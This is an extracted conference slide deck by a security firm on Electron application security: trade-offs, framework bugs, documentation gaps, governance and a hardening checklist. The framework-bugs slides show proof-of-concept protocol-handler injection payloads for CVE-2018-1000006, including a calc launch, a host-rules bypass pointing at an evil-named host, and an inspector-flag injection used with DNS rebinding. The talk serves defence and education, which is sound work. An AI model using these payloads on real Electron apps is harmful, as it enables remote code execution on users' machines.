

## Democratizing Electron Security

Luca Carettoni - luca@doyensec.com

### **Developers** love Electron



Daniel Tralamazza @tralamazza Follow

 $\sim$ 

in 40 years nobody will remember how to generate a binary, everything will be an Electron app

12:10 PM - 25 Sep 2018





Felix Rieseberg

Follow

I put Windows 95 into an Electron app that now runs on macOS, Windows, and Linux. It's a terrible idea that works shockingly well. I'm so sorry.

Go grab it here: github.com/felixrieseberg ...



4:54 PM - 23 Aug 2018



### Security folks too!



#### Ben Sandofsky 🤣 @sandofsky · 3 Oct 2017

tl 7

With **Electron**'s first major **security** vulnerability, it has truly become The New Flash.



0 2

**Dr. Anton Chuvakin** @@anton\_ch... · 2h ~ Remember the early 2000s when everybody was hacking IIS? So, here is the question: is there ONE piece of software today that you feel contributes the most to overall insecurity? **#random** 

C 19

Q 26 1,4 ♡7 1



wendy knox everette @wendyck

#### Replying to @anton\_chuvakin

Electron has to be way up there.



Malte Ubl, Immigrant 🤣 @cramforce · Jul 12

The --app flag on the Chrome binary should be called "--make-this-likeelectron-but-without-the-extra-ram-and-security-problems".





### About me (early in my career)





## About me (for real)

- C AppSec since 2004
- Electron HQ Member since May 2017
- Doyensec Co-founder
  - ~20 assessments on major Electron apps
- Former Lead of AppSec
   (LinkedIn)





### **Democratizing Security**

## Challenges Ahead

- 1.Security trade offs
- 2.Framework bugs
- 3. Poor or inconsistent documentation
- 4. Missing security governance
- 5. Developers negligence

### 1. Security trade offs

### Security VS Usability





### **Browser Threat Model**



DOYENSEC

## Electron is <u>NOT</u> a browser

- While it is based on Chromium, certain principles and security mechanisms implemented by modern browsers are not in place
- Modern browsers can enforce numerous security mechanisms to ensure proper isolation
- Electron maintainers have to balance development usability and security



## Full chain exploit

#### 1. Take control of the DOM

- Hijack the navigation flow
- Cross-Site Scripting
- Protocol Handlers
- AuxClick
- Man-in-The-Middle
- Drag & Drop

### 2. Bypass isolation

- *nodeIntegration* bypasses
- ...

3. Leveraging Node. js APIs, obtain reliable RCE



### From Browser to Electron - Attack Surface

### Untrusted content from the web

- Limited interaction compared to a browser
  - E.g. Opening a BrowserWindow with a remote origin
  - E.g. External protocol handlers

### Untrusted local resources

- Extended attack surface
  - E.g. Loading subtitle files
  - E.g. DOM-based XSS in local files



### From Browser to Electron - Isolation

- Potential access to Node.js primitives (nodeIntegration)
- Experimental (and still unpopular) Chrome-like sandbox
- Lack of isolated worlds by default (contextIsolation)

✓ From XSS to RCE
 ✓ Exploits Reliability



### 2. Framework bugs

### The Design Trap

## "Given Sufficient Bug Density, Security Design Is Irrelevant"

@i41nbeer

## CVE-2018-1000006 (A)

Windows Protocol handler RCE bug

Insufficient arguments sanitization is performed in Electron, since it is possible to inject a quote followed by additional Chromium/Node arguments

<script> win.location = 'myapp://foobar" --gpulauncher="cmd c/ start calc" --foobar=' </script>



## CVE-2018-1000006 (B)

 Fixed by parsing arguments, and checking them against a <u>blacklist</u>.

<script> win.location = 'myapp://foobar" —GPUlauncher="cmd c/ start calc" --foobar=' </script>



## CVE-2018-1000006 (C)

 As part of a customer engagement, we analyzed the patch for CVE-2018-1000006 and identified a new bypass.

<!doctype html> <script> window.location = 'skype://ldoyensec.testing?userinfo" --hostrules="MAP \* evil.doyensec.com" --foobar=' </script>

Please refer to https://blog.doyensec.com/2018/05/24/electronwin-protocol-handler-bug-bypass.html for more details

## CVE-2018-1000006 (D)

 An attacker can use the same vector to open Electron with the node inspector and then use DNS rebinding to access the insecure interface in order to execute commands:

```
<!doctype html>
<script>
window.location = 'vscode://aaaa" — —inspect-brk=5555 "'
</script>
```



## CVE-2018-1000006 EOL

- Fixed in v2.0.9, v3.0.0-beta8 by:
  - Blocking the args parsing after a dash-dash
  - Adding protection against DNS rebinding on Node
  - ...Unfortunately, custom application arguments can be still abused
- Starting from v3 stable, no more command line argument black-list
- Latest Microsoft IE and Edge perform URL encoding on the resulting URI handlers



# 3. Poor or inconsistent documentation

### Security, Native Capabilities, and Your Responsibility

### From

То

▲ Under no circumstances should you load and execute remote code with Node.js integration enabled. Instead, use only local files (packaged together with your application) to execute Node.js code. To display remote content, use the <a href="https://webview">webview</a> tag and make sure to disable the nodeIntegration.

Lunder no circumstances should you load and execute remote code with Node.js integration enabled. Instead, use only local files (packaged together with your application) to execute Node.js code. To display remote content, use the <a href="https://webview>">webview></a> tag or <a href="https://www.make.sure">BrowserView</a>, make sure to disable the <a href="https://www.make.sure">nodeIntegration</a> and enable <a href="https://webview>">contextIsolation</a>



### No contextIsolation -> nodeIntegration Bypass

- Even if you disable nodeIntegration, ContextIsolation is required for isolation
- Initially reported in Electron 1.3 (November 2016). Credits to Masato Kinugawa for this new class of vulnerabilities
- This class of attacks is fully mitigated by the optional ContextIsolation setting



### Case Study - Undisclosed 1/3

- "Undisclosed Trading App "
  - Isolated BrowserView, with no Node.js primitives and sandbox



### Case Study - Undisclosed 2/3

• The application was using the following code in preload



window.sendIPCRequestSync = sendIPCRequestSync;

At first glance, it seems reasonable

### Case Study - Undisclosed 3/3

 contextIsolation is off, hence we can prototype pollute the "includes" function:





### 4. Missing security governance

## Spot the security fix 1/2

### **Bug Fixes**

- The about: protocol is now correctly supported by default. #7908
- Menu item keyboard accelerators are now properly disabled when the menu item is disabled. #7962
- The check for disabling ASAR support via the ELECTRON\_NO\_ASAR environment variable is now cached for better performance. #7978
- Fixed a crash when calling app.setAboutPanelOptions(options) with a credits value. #7979
- Fixed an issue where an error would be thrown in certain cases when accessing remote objects or functions. #7980
- Fixed an issue where the window.opener API did not behave as expected.



## Spot the security fix 2/2

### **Bug Fixes**

- The about: protocol is now correctly supported by default. #7908
- Menu item keyboard accelerators are now properly disabled when the menu item is disabled. #7962
- The check for disabling ASAR support via the ELECTRON\_NO\_ASAR environment variable is now cached for better performance. #7978
- Fixed a crash when calling app.setAboutPanelOptions(options) with a credits value. #7979
- Fixed an issue where an error would be thrown in certain cases when accessing remote objects or functions. #7980
- Fixed an issue where the window.opener AP did not behave as expected.

### **Explicit Security Changes**

#### 1.6.8 May 01, 2017

#### **Bug Fixes**

[SECURITY] F installed into.	ed an issue where the default app could render incorrectly depending on the path Electron was 9249
[SECURITY] F and postMess arguments we	ed an issue where certain built-in window APIs like alert , confirm , open , history.go , ge would throw errors in the main process instead of the renderer processes when the e invalid. #9252
[SECURITY] F options. #927	ed an issue where chrome-devtools: URLs would incorrectly override certain window
[SECURITY] F the main proc	ed an issue where certain valid frame names passed to <pre>window.open</pre> would throw errors in ss. #9287
Fixed a memo	y leak in windows that have the sandbox option enabled. #9314
Fixed a crash	hen closing a window from within the callback to certain emitted events. #9113
[SECURITY] F was not corre	ed an issue when using postMessage across windows where the targetOrigin parameter ly compared against the source origin. #9301
Fixed a debug	er crash that would occur parsing certain protocol messages. #9322
[SECURITY] F would throw a	ed an issue where specifying webPreferences in the features parameter to window.open error in the main process. #9289

#### macOS

 Fixed an issue where the Error emitted on autoUpdater error events would be missing the message and stack properties when serialized to JSON or sent over IPC. #9255

#### **API Changes**

[SECURITY] Te javascript option is now disabled in windows opened from a window that already has it

#### macOS

sheet-begin and sheet-end events are now emitted by BrowserWindow instances when dialog sheets are
presented/dismissed. #9108

#### Windows

A session-end event is now emitted by BrowserWindow instances when the OS session is ending. #9254

## **Vulnerability Disclosure**

Vulnerability disclosure is the practice of reporting security flaws

Reporting Security Issues
The Electron team and community take security bugs in Electron seriously. We appreciate your efforts to responsibly disclose your findings, and will make every effort to acknowledge your contributions.
To report a security issue, email security@electronjs.org and include the word "SECURITY" in the subject line.
The Electron team will send a response indicating the next steps in handling your report. After the initial reply to your report, the security team will keep you informed of the progress towards a fix and full announcement, and may ask for additional information or guidance.
Report security bugs in third-party modules to the person or team maintaining the module. You can also report a vulnerability through the Node Security Project.
Learning More About Security



### We're in a mature security state

- Disclosure policy and vulnerabilities handling practices
  - Incident response run-book
  - External communications
- Security Workgroup
- Frequent releases and semver
- Shorter update cycles for Chromium





### 5. Developers negligence

### https://www.electronjs.org/docs/all #checklist-security-recommendations

- 1. Only load secure content
- 2. Disable the Node.js integration in all renderers that display remote content
- 3. Enable context isolation in all renderers that display remote content
- 4. Use ses.setPermissionRequestHandler() in all sessions that load remote content
- 5. Do not disable webSecurity
- 6. Define a Content-Security-Policy and use restrictive rules (i.e. script-src 'self' )
- 7. Do not set allowRunningInsecureContent to true
- 8. Do not enable experimental features
- 9. Do not use enableBlinkFeatures
- 10. : Do not use allowpopups
- 11. <a href="https://www.ewencemberging.com">webview> : Verify options and params</a>
- 12. Disable or limit navigation
- 13. Disable or limit creation of new windows
- 14. Do not use openExternal with untrusted content
- 15. Disable the remote module
- 16. Filter the remote module
- 17. Use a current version of Electron



### Your Homework

- Secure settings and good design for your application can help mitigating most of the vulnerabilities:
  - Do not load remote content
  - Use modern JS frameworks with contextual encoding
  - nodeIntegration: false / sandbox: true
  - contextIsolation: true
  - Carefully review your preload scripts
    - Do not expose Node.js objects / dangerous primitives



### So much to do...



### SECURITY IS HARD





https://github.com/doyensec/electronegativity



\$ npm install @doyensec/electronegativity -g



### Usage

 Using it is as simple as pointing it to the repository directory or to the .asar package





### **CSV** and Sarif Output Formats

electronegativity — -bash — 191×30

doyensec \$ electronegativity -i /tmp/electropositivity --output results.csv



### Conclusions

### Democratizing Security

- Security trade offs
  - Security built-in by default, with clear opt-out configs
- Framework bugs
  - Hardening, security testing, repeat
- Poor or inconsistent documentation
  - More, better docs!
- Missing security governance
  - Increased transparency, consolidated processes
- Developers negligence
  - Security is everyone's responsibility

### Thanks!

- Feel free to contact me: luca@doyensec.com @lucacarettoni
- Electron security slides, white-papers are available on our research page: https://www.doyensec.com/research.html